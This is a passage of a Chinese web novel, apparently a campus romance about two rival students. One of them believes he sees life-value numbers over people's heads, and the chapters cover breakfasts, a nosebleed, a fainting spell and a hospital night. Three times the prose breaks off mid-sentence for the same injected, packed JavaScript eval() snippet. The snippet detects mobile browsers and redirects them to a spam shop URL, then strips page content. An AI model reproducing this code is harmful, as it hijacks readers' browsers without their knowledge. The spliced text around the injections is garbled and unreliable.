要是以前,盛云阔要生气就生气,反正他俩是宿敌,能让对方不爽自己就爽了。但现在他俩都要死了,再纠结这种小事着实没有必要。而且林杳不想带着仇恨去天堂。 虽说自己是出于担心盛云阔的身体才这样做,但…… 算了,想什么呢,自己关心他他还敢嫌烦?睡觉! 第二天清晨。 盛云阔打着哈欠从房间走出来,头发横七竖八支棱着。而后他定睛一看,发现林杳已经衣着整洁地坐在了饭桌后,端着碗,干净白皙的手捏着筷子,夹起煎蛋,放在嘴边咬了一口。 林杳扫了他一眼,若无其事地说:“我也做了你的份,过来吃吧。” 盛云阔愣住。 几秒后,他指着桌上的绿豆粥、煎蛋与蒸饺,不可置信道:“你做的?你几点起床的?” “六点。”林杳指了指对面的位置,“坐下来吃。” 盛云阔拉开椅子坐下,可肚子不争气,一点也不饿。 他张嘴,想说自己很久没吃过早饭了,有点吃不下。 然而就在他开口之前,林杳盯着自己碗里的白粥,貌似平常地说了一句:“昨晚的事对不住,我不该关你电脑。” 盛云阔瞪大了眼,以为自己还在梦里。 怎么回事,林杳在跟自己道歉?那个从小样样都不服气自己、曾经暗戳戳把自己书包藏起来导致自己没能写完作业被老师痛批的林杳,居然在因为一件小事跟自己道歉?? 说完这番话后,林杳埋着头,在盛云阔看不见的角度狠狠拧眉。 啧,给这家伙道歉的感觉真别扭。 “你……”盛云阔一开口,差点咬断自己的舌头,“你该不会是特地早起做的这顿饭吧?” 就为了给自己道歉? 真的假的? 林杳茫然,没太听懂盛云阔的意思。 既然要养生,那一日三餐都要按时吃才好,可外面小摊卖的早餐都太过重油重盐,当然要特地自己做。不然呢? 不过林杳也懒得深究,直接回答道:“对啊。” 盛云阔:!!! 接下来,盛云阔风卷残云地吃完了桌上的早餐,甚至毫不嫌弃地喝光了林杳剩下的半碗白粥。 林杳看得眼睛发直。 这家伙,从幼儿园开始就是饭桶,现在竟更胜从前了。 --- 下午,马原课上,老师正在念天书,底下同学们脑子里已成浆糊。 只有盛云阔一个人手肘撑在桌上,十指交叉,放在唇鼻之间,双眼冒着智慧的光芒,死死盯着黑板和老师,作沉思状。 旁边张桦不经意回头,被盛云阔这模样吓了一跳。 张桦虽说早知道盛云阔学习努力,平日没事就爱泡图书馆,但也没见过他这么认真地听一节课的样子。 张桦忍不住,给他发了条消息。 【小张(努力版):你好认真,听懂了吗?待会儿给我讲讲呗?】 见到手机屏幕亮了,盛云阔的思维宇宙暂且关闭,摸起来看消息。 【你怎么知道我六块腹肌:我在思考。】 【小张(努力版):思考什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437356|141485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 商品的本质还是货币与市场的关系?】 【你怎么知道我六块腹肌:我在想林杳。】 【小张(努力版):黑人问号.jpg】 【你怎么知道我六块腹肌:我在想他是不是真的撞坏了头。】 【小张(努力版):咋了?】 【你怎么知道我六块腹肌:我不是搬出去住了吗,昨晚有点睡不着,就差点通了个宵,可能是游戏声音吵到林杳了,他把我电源键按了。这本来是小事,我当时直接就睡了,啥也没想。】 【小张(努力版):然后呢?】 【你怎么知道我六块腹肌:结果今早上林杳专门做了一桌子早饭,就为了给我道歉,语气还特别温柔,我靠,我那个惊讶啊,你懂吗?】 【小张(努力版):不懂……】 【你怎么知道我六块腹肌:你当然不会懂。我们成为敌人已经十八年了,架都打过,可从来没给对方道过歉。如果林杳不是脑子撞坏了的话,我充分怀疑,他是密谋要杀了我,搞这一出是为了打消我的防备,好卑鄙。】 张桦不懂,他真的不懂。 不仅如此,他觉得盛云阔的脑子可能也有点问题,他不想回复了。 张桦正准备关闭手机,却看见一个消息弹了出来,他顺手点进去。 下课后,所有人都开始收拾东西准备离去,盛云阔还坐在位置上思考。 张桦拍了拍他的肩膀,面色凝重地说:“喂,你别想了,与其思考那些不靠谱的,不如先想想林杳为什么会申请退部吧。” 盛云阔疑惑:“我俩加了好几个社团和学生组织,他退的哪个部?” “全部。” 张桦举起手机,给盛云阔看学生会宣传部部长发来的消息。 【林杳同学和我说要退部,你可以暂时接管他的工作吗?还有,我听说他不止要离开咱们部门,他所在的其他社团也都收到了申请。你和他都是一年级的,能帮我打听一下他最近是不是遇见了什么事吗?】 盛云阔惊呆了,夺过张桦的手机,看着上边的文字,神色变得愈发不可置信。 --- 傍晚,林杳背着包,刚从医院拿完报告回来。 自从林杳猜测自己脑袋上这个零代表生命值之后,心里总放不下,便趁着恰好在住院,约了个体检,给自己从头到脚都检查了一遍。 之前老爸老妈在这边,他怕报告有问题,便没敢去取,直拖到今天。 可体检之后,林杳更茫然了。 他给医生看过报告后,医生说他相当健康,没有任何指标异常,要他继续保持。 如果是这样,那自己脑袋上的数字是怎么回事,纯粹的幻觉吗? 林杳对精神疾病有些皮毛了解,按理说精神病人的幻觉一般都是在发病的时候才会出现,可自己和盛云阔脑袋上的数字随时都在,难道自己已经病得这么严重了? 想不明白,林杳打算后面再去咨询一下精神专科医生。 带着重重的心事,林杳用钥匙打开门。 然而一抬头,林杳就看见盛云阔满面严肃地坐在沙发上,正对着自己,眼神犀利扬起。 盛云阔双手抱在胸前,沉下声音,好似在质问做错了事的犯人: “林杳,你是不是该给我一个解释?” 林杳懵,这台词怎么感觉怪怪的? 5. 葬送的小龙虾 盛云阔从沙发上起身,一步一步逼近林杳。高挑的个头在逼仄的房间内显得压迫感十足。 “为什么退部?” 盛云阔在林杳身前半步的地方停下,询问。 原来是这件事。 林杳错开他,一边往自己房间走去,一边回答:“我不需要给你解释。” 盛云阔骤然伸出手,撑在林杳面前,挡住了他前往房间的路:“不行,你今天必须给我一个合理的解释。” 林杳停下脚步,抬眼看向盛云阔。两人无声地对峙片刻,终于,林杳率先叹了口气,说:“我只是忽然觉得这个世界上有比学生活动更重要的事情等着我去做。” 盛云阔不解:“什么事?” 林杳不知道该怎么和盛云阔解释自己能看见生命值的事情,他总不能说自己快死了,要节省出时间去做其他只属于自己的事情,盛云阔肯定会觉得自己是在胡说八道。 捏了捏鼻梁,林杳略微不耐烦道:“我退部对你来说难道不是一件好事吗?” 盛云阔怔愣。 林杳看着他的眼睛,继续说了下去:“上大学以来,我只要进入一个部门,你就会跟着进入同一个部门。不就是为了能和我一较高下,看看谁在学生组织里表现得更好吗?现在我退出了,你不用再和我比较了,不好吗?” 听到这番话,盛云阔眼底的疑云愈发浓重,他深深看着林杳,试探着问:“那你这是承认我赢了,你输了吗?” 林杳倒吸一口气,咬牙道:“是,你赢了。” “哈。” 盛云阔前所未有地得意起来,他幻想了十八年自己把林杳狠狠踩在脚下,林杳可怜巴巴认输的样子,没想到这一天来得这样猝不及防。 林杳和盛云阔较量了十八年,他太熟悉对方得意的样子了。看见盛云阔此时此刻的模样,林杳知道他绝对在暗爽。然而林杳居然莫名松了口气,像是解开了某种执念一般,肩膀霎时垮了下来,转身拧开把手,进屋锁门。 “咔嚓。” 房门反锁的声音响起。 盛云阔的得意只维持了短短零点五秒,随即他便被扔进了傍晚空荡荡的房间之中,孤身一人。 他死死盯着面前紧闭的木门,心中生起了强烈的被拒绝感。 非常、不爽。 --- 午夜。 林杳坐在书桌后,最后测试了一遍刚刚写完的程序。 程序完美地运行结束,没有出现任何报错。林杳嘴角总算抿起点点笑意。 关上电脑,林杳起身伸了个长长的懒腰,接着拿起手机查看时间。 0:36。 这是林杳出院以来第一次在十点之后还醒着。 林杳当然是想早睡早起有利身体的,但宣传部的新推送里需要这个小游戏来筹集给贫困山区的教育善款。他早就答应过会在上周日之前完成,没想到中间撞到脑袋,延后了几天。 虽说提出了退部申请,但林杳没办法那么潇洒地甩开自己的责任。还好今天结束掉这个项目后,就能彻底抽身,不会再有下次熬夜了。 忽然,林杳听见外面传来敲门声,紧随其后响起两声开门和关门的声音。 显而易见,盛云阔也还没睡。 林杳走出去,打眼看见盛云阔刚从大门口转过身来,手里还提着一个塑料袋装着的塑料圆盒子,盒子里红彤彤油滋滋,散发着香辣小龙虾的香气。 “又起夜呢?”盛云阔朝林杳扬了扬下巴,“要不咱真去看看,说不定真是肾虚呢。” 林杳忽略了他欠扁的话,指着快餐盒问:“你点的夜宵?” 盛云阔提起外卖,说:“怎么,你想吃啊?可惜我只点了一人份的,自己都不够吃,要不,你看着我吃?” 说完,盛云阔还咧嘴笑起来,欠得慌。 “我不吃。”林杳沉着脸回答。 盛云阔的笑容僵硬住,傍晚时那种奇怪的、心脏微微刺痛的感觉又一次升起。 盛云阔重重按了按额头,说:“跟你开个玩笑怎么生气了,给你吃,你想吃多少吃多少,我给你剥壳,剩下的壳子我嗦个味儿就行。” 说着,盛云阔来到餐桌边,打开口袋,掀开盖子,拿出一次性手套,看向林杳:“来啊。” 林杳还是站在原地,重复了一遍:“我说了我不吃。你经常熬夜吃夜宵吗?” 盛云阔答:“偶尔。” “一周几次?” “三四次吧……不过不是每次都小龙虾这么奢侈。晚上不睡就会饿啊。” 林杳眉头紧皱:“太不健康了。” 盛云阔走到林杳身后,推着他来到餐桌旁坐下,同时漫不经心地说:“我知道不健康,可这样爽啊,健康的事等我五十岁之后再考虑吧。” 林杳的眉头没有放松的迹象:“太过放纵,小心活不到五十岁。” 听见林杳损自己,盛云阔居然停顿片刻,笑了出来。 “靠,你要不要这样咒我?” 林杳意识到失言,垂眸:“抱歉。” 盛云阔瞬间又别扭起来,鸡皮疙瘩如雨后春笋般冒了出来。 两人沉默着。盛云阔戴上手套开始剥虾。 完整地剥开一条虾肉后,盛云阔将其凑到林杳的嘴边,哄小孩儿似的说:“啊,张嘴吃一个,瞧哥多疼你,给你吃第一口。” 林杳别开脸:“不吃。” “吃嘛。” “拿开。” “多香啊,真不吃吗?” “不吃,我不是小孩子。” 劝了几回,盛云阔彻底失去耐心:“爱吃不吃,我自己吃。” 说罢,盛云阔举起虾肉望自己嘴里喂。 就在这时,林杳像是看见了什么恐怖场景似的,瞪大了眼,大喊:“盛云阔!” 与此同时,一滴猩红温热的血落在了盛云阔的手上。 林杳反应迅速,抽出几张纸就往盛云阔的鼻子怼去,才没让血染红盛云阔的衣服。 盛云阔捂住鼻子,仰起头,瓮声瓮气骂道:“擦,怎么流鼻血了。” 盛云阔忙着给自己挺拔的帅鼻止血,林杳却安静了下来。 林杳望着桌面上那滴鲜血,又看向盛云阔脑袋上那红色的零。 据说急性白血病的症状之一就有流鼻血。 仰头两分钟后,盛云阔小心翼翼拿开纸巾,摸了摸鼻子,确认已经没再流血。而后他瞟了眼林杳,登时惊讶。 “林杳?你脸色怎么那么白?是不是低血糖了?” 林杳被他的聒噪声拽回思绪,当即起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437357|141485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身,盖上快餐盒,语气变得异常强硬道:“你不许吃这个了!” 盛云阔还想争取:“可我买都买了。” “你都流鼻血了,还想吃这种辛辣刺激的东西吗?”林杳几乎是在吼。 盛云阔举手,表示投降:“好吧,可怎么处理呢,总不能直接扔了吧,好浪费,而且不便宜呢。” 林杳表示:“随便你怎么处理,反正你不能吃。” --- 十分钟后,林杳看着门口的张桦,陷入了沉思。 张桦不好意思地挠挠脸颊,打招呼道:“林杳同学,晚上好啊。” 林杳颔首:“晚上好,李同学。” 张桦呆滞。 “噗嗤。”盛云阔在林杳身后发出嘲笑,“不是吧林杳,你见过小张三次,居然连他姓什么都不记得。” 林杳咬住下唇,很是难为情。 张桦赶紧打圆场,自嘲笑笑:“没事的,我从小就是大众脸,存在感也不高。经常有人记不住我。只能庆幸还好我爸妈没给我取名叫张伟,不然我真就彻底混在人群中找不到了,哈哈哈……” 说着,盛云阔请张桦进屋。 林杳落后一步,关门的时候悄悄松了口气。 原来也不叫张伟吗,还好刚才没再开口。 来到餐桌旁,张桦发出惊叹:“哇,小龙虾,盛哥你真够意思,多谢啦。” 盛云阔在一碗清水面后坐下,说:“吃吧,都是你的。” 张桦茫然:“你不吃吗?” 盛云阔指着面条碗,说:“我吃这个。” “啊……”张桦看着那苍白无味的面条就没胃口。 盛云阔压低声音,凑近,解释:“林杳不准我吃,他说小龙虾不健康,给我煮了一碗面。他今天怪怪的,而且我确实有点上火流鼻血,所以便宜你了。” 张桦嘿嘿一笑:“那我不客气啦。” 接下来,张桦大快朵颐着小龙虾,嘴边染了一圈儿亮晶晶的油。盛云阔苦大仇深地搅动着清水面,偶尔吸一口。而林杳抱着膀子坐在位置上,监视着盛云阔。 吃到一半的时候,张桦感觉到辣味,不停地吸气,说:“斯哈,好辣。要是有罐冰啤酒就更爽了。” 盛云阔吸了口白面条,恶狠狠道:“闭嘴吃吧你。” 张桦明白不能再馋盛云阔了,当即憋笑点头。 片刻后,盛云阔见他实在是辣的慌,嘴唇都变成了性感嘟嘟唇,大发慈悲道:“冰箱里有啤酒,去拿吧。” 张桦大喜过望,跳着跑去厨房。 林杳不可置信,质问:“盛云阔,你还酗酒?” 盛云阔为自己辩解:“偶尔喝一两罐根本不能称之为酗酒好不好?” 一小时后。 张桦提着两打冰镇啤酒,站在门口,与林杳和盛云阔告别。 他对自己连吃带拿的行为想到不好意思,说:“太感谢了,下回我来请客。” 林杳点头:“没关系,晚安。” 张桦举起手拜拜,一打啤酒跟着在盛云阔眼前晃了晃。 关上门后,盛云阔哀怨地喊道:“你凭什么把我的啤酒全送给他!” 林杳留给盛云阔一个高贵冷艳的后脑勺,顺便嘱咐:“早点睡,还有,记得洗碗和擦桌子。” 6. 如果有下辈子 医院门诊部,浅淡的消毒水味道弥漫。 头发花白的老主任架着老花镜,正细细查看林杳带来的一厚沓资料。 综合心理测试、人格量表、强迫症问卷、脑部CT图像、核磁报告…… 林杳耐心而安静地坐在对面,等待老主任给自己一个判断。 五分钟后,老主任放下了资料,摘掉老花镜,表情平稳,看不出结果到底是好是坏。 “小伙子,从这些检查结果上看,你没有任何精神问题。” “可是我总是能看见非常清晰的幻觉,比如……一些凭空出现的数字之类的。”林杳连忙补充。 老主任打量了林杳片刻,又说:“这的确是个问题。如果你愿意的话,可以入院治疗,我们医院……” “苍茫的天涯是我的爱~” 魔性的电话铃声响起。 老主任拿出手机,朝林杳抬手致歉,而后接通了电话:“什么事,小杨?” 可能是因为上了年纪,老主任通话声音设置得很大,大到对面的林杳也能听得一清二楚。 来电的应该护士,林杳听见对方说:“30床的病人刚才又发作了一回,差点打伤其他病人。我们现在已经把人控制了下来,打了镇静。不过他家属过来了,想见您,您下班之前过来看看吧?” “好好。”老主任应答着,“你们也注意一下,家属在旁边时绑绳子要十分小心,不要显得太粗鲁,后续也要给家属解释清楚,以免不必要的误会。” 林杳:“……?” 挂断电话,老主任继续问林杳:“如何,愿意入院治疗吗?” 林杳磕巴了一下,审慎地问:“你、你们会电击病人吗?” 老主任颔首:“电击疗法早已在临床上证明能够有效刺激病人的大脑,缓解发病症状。如果需要的话,当然会安排病人接受电击。哦,小伙子你不要误会,这种电击和电视剧里渲染的不一样,电流都是可控的,不会对人体造成伤害。” 林杳猛地起身:“抱歉我还需要考虑一下!” 从诊室出来之后,林杳仿佛死里逃生般长舒了一口气。 “林杳?” 正缓和着,林杳忽然听见不远处有人在叫自己的名字,抬眼瞧去,果真有个熟悉的身影朝自己走了过来。 快速回忆了一下,林杳想起来了,对方是自己同班同学,名叫沈安格。 沈安格长了副相当经典的校园书卷男神的模样,和林杳其实有点风格撞车,不过他比林杳更有亲和力,此人的微笑曾上过摄影部的推送封面,获得了上万浏览量。 林杳僵在原地,很想挖个洞把自己藏起来。 他想不通,怎么会有人在精神专科医院遇见熟人之后还能热情洋溢地上前打招呼呢? 正常反应难道不应该是彼此都当做没看见对方,哪怕相对而行也要擦肩而过,这样才礼貌吧? 林杳有点绝望,他只希望接下来沈安格能稍微懂点事,不要问自己来这里是做什么的。 可惜,他注定要失望了。 “你怎么会在这儿?”沈安格挂着他的招牌微笑,问。 林杳悬着的心终于是死了,但他不会就此投降。 于是林杳迅速反问:“你才是,怎么来医院了,不舒服?” 沈安格难为情笑笑,回答得相当坦荡:“我有点焦虑症,需要定期服药,今天是过来拿药的。” 林杳当即表示:“哦,我也是。” “真的?”沈安格十分意外,“我瞧你每天都忙着学生活动,上课也从不摸鱼,听说还是家乡的高考状元。没想到你这种学霸也会焦虑,感觉忽然就拉近距离了。” “是人就会焦虑。”林杳胡乱敷衍着回答。 “待会儿咱们一起回学校吧?”沈安格提议。 冷静下来后,林杳后知后觉地看见了沈安格头顶上的数字。 329。 好多。 林杳不得不承认,他有点羡慕了,沈安格居然有这么多生命值。 沈安格是第五个能被林杳看见头顶数字的人。 “林杳同学?” 因为林杳走神太久没说话,沈安格忍不住唤他一声。 林杳回神,拒绝道:“哦,我待会儿还有点事,不会直接回学校,你先回去吧。” 沈安格眼中流露出失望:“好吧,那我先走了,再见。” 林杳落在后面,望着沈安格远去的背影,以及他头顶上富裕的生命值,心中感慨。 --- 清泉山,京市近郊的一座小山丘,因其风景秀丽、高度适宜,成为市民们登高散心的首选。 两个女生正齐心协力搭帐篷,但不知哪一步出了错,帐篷总是支棱不起来。 盛云阔从其中一个女生手中接过支撑杆,对她们说:“我来吧。” 留着齐耳短发的女生脸颊悄悄变红,小声说:“谢谢你。” 短发女生名字叫做余婧,她并非远足社团的成员,实际上她不太喜欢会流汗的运动,之所以会参加这次的活动,是为了某个人来的。 余婧偷看着盛云阔,殊不知也有另一道眼神在看着自己。 柳庆云一边搭着自己的帐篷,一边充满怨气的死盯着盛云阔那边。 可恶,可恶!余婧明明是自己的高中同学! 盛云阔很快发现了帐篷的问题,原来是有一个小零件掉在草丛里了,找到之后帐篷很顺利地立了起来。 “好了。”盛云阔拍了拍帐篷。 “太感谢了,盛同学。”余婧心跳扑通扑通,“那个,待会儿你要不要和我一起去……” 她话还没说完,盛云阔的手机铃声便响了起来。 盛云阔朝两名女生点头致意后,走到一边去接电话。 留在原地的余婧低下头,不禁感到失落。 旁边的闺蜜拍拍她的肩膀,说:“没关系,咱们要在这儿待一晚上呢,你有足够的时间可以告白。” “嘘!”余婧竖起手指,“你别这么大声,要是被听见了怎么办?” 闺蜜哈哈笑着:“被听见不是更好吗,省得你亲口说了。” 她们的谈话的确被听见了。 柳庆天躲在树后面,气得直跺脚。他的女神怎么能喜欢他的敌人! 不行,柳庆天实在气不过,他必须要找盛云阔谈谈。 柳庆天卷起袖子,气势汹汹去找盛云阔,打算与他来一场男人之间的对话。 盛云阔就在不远处的空地上打电话,柳庆天冲着他的背影大步走去,可就在盛云阔转身过来时,柳庆天身体反应比脑子快,嗖地一下躲到了旁边的树后。 “怎么了桦儿?” 打电话过来的人是张桦。 张桦气喘吁吁,说:“出事了……” “出什么事了?”盛云阔皱眉。 “林杳,他晕倒了,我们现在在二院。” 盛云阔顿时紧张起来,声音也变得高且急切:“晕倒?怎么回事?” “不清楚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437358|141485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”张桦语速极快,“我按你的交代,去家属区那边查看情况,结果敲门没有人应答,我就用你给我的钥匙开门进去看了,才发现林杳倒在了他房间的地板上,我打了120,这才刚到医院,不知道是什么情况。” 盛云阔拔腿就走,同时对张桦说:“我现在就过去,大概要四十分钟,有任何事情你和我保持联络。” 挂断了电话,盛云阔脚步不停,来到帐篷边,背起自己的包,同时对社团长说:“抱歉学长,我朋友出了点事去医院了,我得去看看。” 社团长也紧张起来:“那你快去,从这边往南出口走有一条公路,出租车能开上来。” 盛云阔点点头,大步流星往山下走去,到后面他甚至心急地跑了起来。 余婧和闺蜜听见动静,茫然地问:“盛云阔怎么走了?” 柳庆天出现在她们身边,若无其事瞎编道:“他女朋友生病进医院了,所以急着回去照顾。” 余婧惊讶地瞪大眼。 闺蜜长长的“啊”了声,抱怨道:“果然帅哥都是抢手货!” --- 四十分钟后,盛云阔甩上车门,快步往医院跑去。 看着手机里张桦刚发过来的消息,盛云阔的心仿佛吊在了悬崖边。 【小张(努力版):在急诊抢救室。】 盛云阔什么也顾不得了,闷头往抢救室冲去。还好张桦眼疾手快,半路拦住了他。 “你别着急,医生在这儿。”张桦指着旁边说。 盛云阔这才反应过来,刚才张桦正在和医生谈话,赶忙走过去,问:“医生,林杳如何了?” 医生戴着口罩,表情不见喜怒,语气平静地说:“他没事,一天没吃饭,低血糖,补液后已经醒过来了,建议观察一晚,情况稳定的话明天早上就能出院。” 盛云阔心中的大石头总算落了地。 樊阿姨拜托自己好好照顾林杳,要是出点什么事,他可没法儿交代。 “那我能进去看看他吗?”盛云阔问。 医生说:“好吧,你可以进去十分钟,原则上抢救室不能留家属的。” “多谢。” 盛云阔走进抢救室,今晚的病人不算多,抢救室内很是平和安静,只有监护仪规律的滴滴声。 他一眼就找到了林杳,走近后,果然见到对方的脸色如纸。 盛云阔忍不住讥讽道:“我请问你是不是名林杳字黛玉,否则怎么又把自己搞进医院了?” 林杳望着盛云阔,他的眼睛很黑很深,认真看着一个人时,很容易让那人深陷进去。 盛云阔被他盯得浑身别扭,不耐烦道:“看着我干嘛,羡慕我的帅脸吗?” 林杳摇摇头,声音还有点虚弱,他说:“我只是忽然有些话想对你说。” “什么话?”盛云阔站到了病床边。 林杳迟疑片刻,终究还是决定说出口:“虽然我从没跟你说过。但实际上我很感激在我生命的前十八年里有你这个家伙一直在身边。” 盛云阔哑住。 喘了口气,林杳继续道:“如果有下辈子,希望你不要再这么欠揍,说不定我俩能成为朋友。” 语毕,林杳闭上了眼睛,抢救室内只剩“滴——滴——”的声音。 盛云阔怔怔地盯着病床上面色苍白的人,他的嗓子不知道被什么酸不拉几的东西堵住了,好半晌他才重新找回自己的声音,道: “林杳,你在搞什么煽情,你他妈只是低血糖而已。” 7. 如何增加生命值 十分钟转眼过去,盛云阔不得不从抢救室中出来,在候诊区找到张桦旁边的位置坐下。 白天爬山,晚上又城郊城区奔波了一回,盛云阔难掩疲惫,靠在椅背上,闭目吐出一口浊气。 见状,张桦忍不住关心道:“你还好吧?” 盛云阔摇摇头:“我没事。” “林杳呢?” “他也没事。” 随即两人同时沉默,都为顺利度过今晚的惊险而感到庆幸。 缓了几分钟后,盛云阔重新睁开眼,对张桦交代道:“我在这儿守着,你回去吧,钥匙先不用还给我。这个点澡堂已经关门了,你也不用回寝室吵他们,去我和林杳的出租屋歇一晚,好好洗个澡,要换衣服的话,直接从我衣柜里拿。” 张桦倒是不矫情,没有推辞就答应下来。不过他也并未立即离开,而是悄悄多看了几眼盛云阔的神色,终究还是关切地问:“你真的没关系吗,看起来脸色不太好。” 盛云阔脸色除了疲惫以外,还带着浓重的忧虑,似乎心事重重。 “果然还是瞒不过你的眼睛。”盛云阔捏了捏鼻梁,而后指向抢救室,“你知道刚才林杳在里面跟我说了什么吗?” 张桦摇头。 盛云阔直视着他的双眼,越凑越近:“他居然说感谢我这十八年来的陪伴?还说什么下辈子说不定我跟他能成为朋友。太奇怪了,林杳撞到脑袋之后就变得神神叨叨,我总觉得他撞傻了。” 张桦疑惑:“我以为你们关系很好,本来就是朋友。” “当然不是。”盛云阔提高音量,“我和他是宿敌,宿敌是不可能成为朋友的。” 张桦完全不能理解盛云阔和林杳之间畸形的关系。 在他看来,这俩人从小认识、每天会一起跑步、加入了同样的社团组织,现在甚至住在同一屋檐下,根本比朋友还亲密。 但正主非要狡辩说他们不是朋友,行吧。 张桦想了想,眼睛一亮,说:“会不会是林杳不打算继续和你为敌,想要跟你做朋友了?” 盛云阔挑眉,闭上嘴没说话,似乎在思考。 张桦继续道:“林杳没有再和你作对,还说了今晚这番话,很有可能是因为你们长大了,不需要再进行无意义的比较,不如化敌为友,你觉得呢?” 盛云阔大脑在急速运转。 的确啊,这几天,林杳不仅主动退出了他们之间的斗争,还说出认输的话,现在又说什么朋友不朋友的。 难道林杳真的想跟自己重修旧好?啊不对,那个词怎么说来着,破镜重圆?好像也不对,总之就是这个意思…… 张桦胳膊肘戳了戳盛云阔,笑着问:“你怎么想?如果林杳真有此意,你愿意和他做朋友吗?” 盛云阔忽然坐正了身子,清了清嗓子,矜持地说:“如果他非要求我的话,做朋友也不是不可以。” 张桦:…… --- 清晨六点整,护士扬声喊到:“醒一醒,抽血了。” 林杳蹙眉,而后缓缓睁开眼,四肢的疲惫山呼海啸而来,他感觉自己像是饿了十天一般,浑身软绵无力。 懵了一会儿,没有针头扎向自己,林杳才后知后觉,原来护士叫的是隔壁床的老爷子。 给老爷子抽完血,护士转身看见林杳正睁着黑白分明的大眼睛,显然是清醒了。 护士走向林杳,对他说:“你醒了?感觉如何?医生说你可以出院了,你家属在外面守了一晚上,我去叫他进来接你。” 家属? 林杳第一反应是爹妈又不远万里过来了,紧接着才回忆起昨晚的事。 是盛云阔吗?他守了自己一晚上? 林杳不想说话,他很饿,胃部像是整座没有家具的芭比梦幻城堡,空荡荡到漏风。输营养液和吃饭是完全不同的两回事,他只能轻微地朝护士点了点头。 护士风风火火离去,林杳开始慢吞吞地整理衣服。 等他整理好,抬眼,就看见盛云阔走了进来。 推着轮椅,走了进来。 林杳动作僵住,饥饿让他大脑反应迟钝,他闭了闭眼,重新睁开。 没错,盛云阔推了个轮椅。 明明一晚没睡,盛云阔却活蹦乱跳,甚至还笑得阳光灿烂,走到轮椅旁边,微微鞠躬,彬彬有礼,做了个“请坐”的手势:“林妹妹,请上专座,哥推你出院。” 林杳冷脸:“不要。” “不要什么?”盛云阔其实听懂了,但一定要犯这个贱,“不想出院吗?乖,别任性,还有比你严重的病人等着床位呢。” 林杳吸了一口气,反复告诉自己眼前这货昨晚守了一夜的事实,才勉强压下火气。 “不要轮椅,我自己能走。” “真的吗?”盛云阔表示怀疑。 林杳不想再和他浪费口水,直接从床上下来。可惜天不遂人愿,刚碰到地,他便脚下一软,往前栽倒。 盛云阔眼疾手快,上前一步,将林杳接入怀中,又行云流水地放他坐上了轮椅。 “我说什么来着,你还是乖乖让我推着走吧。” 林杳坐在轮椅上,单手撑着额头,脑袋深深埋着,已羞于见人。 盛云阔推着林杳离开医院,在马路边叫了一辆出租车,搀扶着林杳上了后座,居然把轮椅收了起来放在了后备箱。 林杳有种不祥的预感。 果然,到了学校门口后,盛云阔又拿出轮椅,打开,请林杳来坐。 学校里到处都是熟人,林杳真的不想被盛云阔推着在校园里显眼。 可拒绝的话还没说出口,盛云阔已经一回生二回熟地抱着林杳坐上了轮椅。 林杳只好认命,任由盛云阔推着他在学校里东跑西跑。 就在盛云阔推着林杳逛完超市,又去食堂打包了午饭,最后还想去买杯咖啡时,林杳再也忍不住了,一把抓住盛云阔的衣角,咬牙威胁:“你最好现在就推我回出租屋,否则我让你今晚无家可归。” 盛云阔嘿嘿一笑:“你瞧你,还害羞了。” “盛、云、阔。” 林杳怒意翻腾。 “好好,回家回家!” 老家属区没有电梯,还好他们也就住在四楼,不算高,盛云阔搀扶着林杳回到家里,没有坐下来歇一会儿,就忙着说要回医院还轮椅。 “这玩意儿按小时计费的,我先还回去,你把饭吃了。” 林杳还在生气,没理他。只是有点疑惑,为什么盛云阔宁愿多跑一趟也要租轮椅。 刚才上楼的时候,林杳才发现自己其实完全能走,之所以晕眩,只是因为太饿了,再加上在医院起床过猛,根本用不着轮椅。 两天后。 林杳坐在自习室里,看着手机上的推送,终于明白了盛云阔的煞费苦心。 推文写着:“优秀学生干部候选人——盛云阔,思想高尚、乐于助人,热心帮助身体不便的同学采购生活用品。” 配图是盛云阔推着林杳在超市里买东西的照片。 该推文浏览量为:2501。 林杳捏着手机的手在微微颤抖。 亏他还为盛云阔在医院给自己守夜的事触动了一会儿。 林杳点开盛云阔的聊天框,截图推送,跟了个微笑黄豆的表情过去。 盛云阔秒回:【不用谢。】 林杳恨不得摔手机。 恰在此时,有人抽开林杳身边的座位坐了下来。 “林杳,好巧。” 林杳回头,看见了沈安格。他今天穿了一件白色的衬衫,给人很干净的印象。

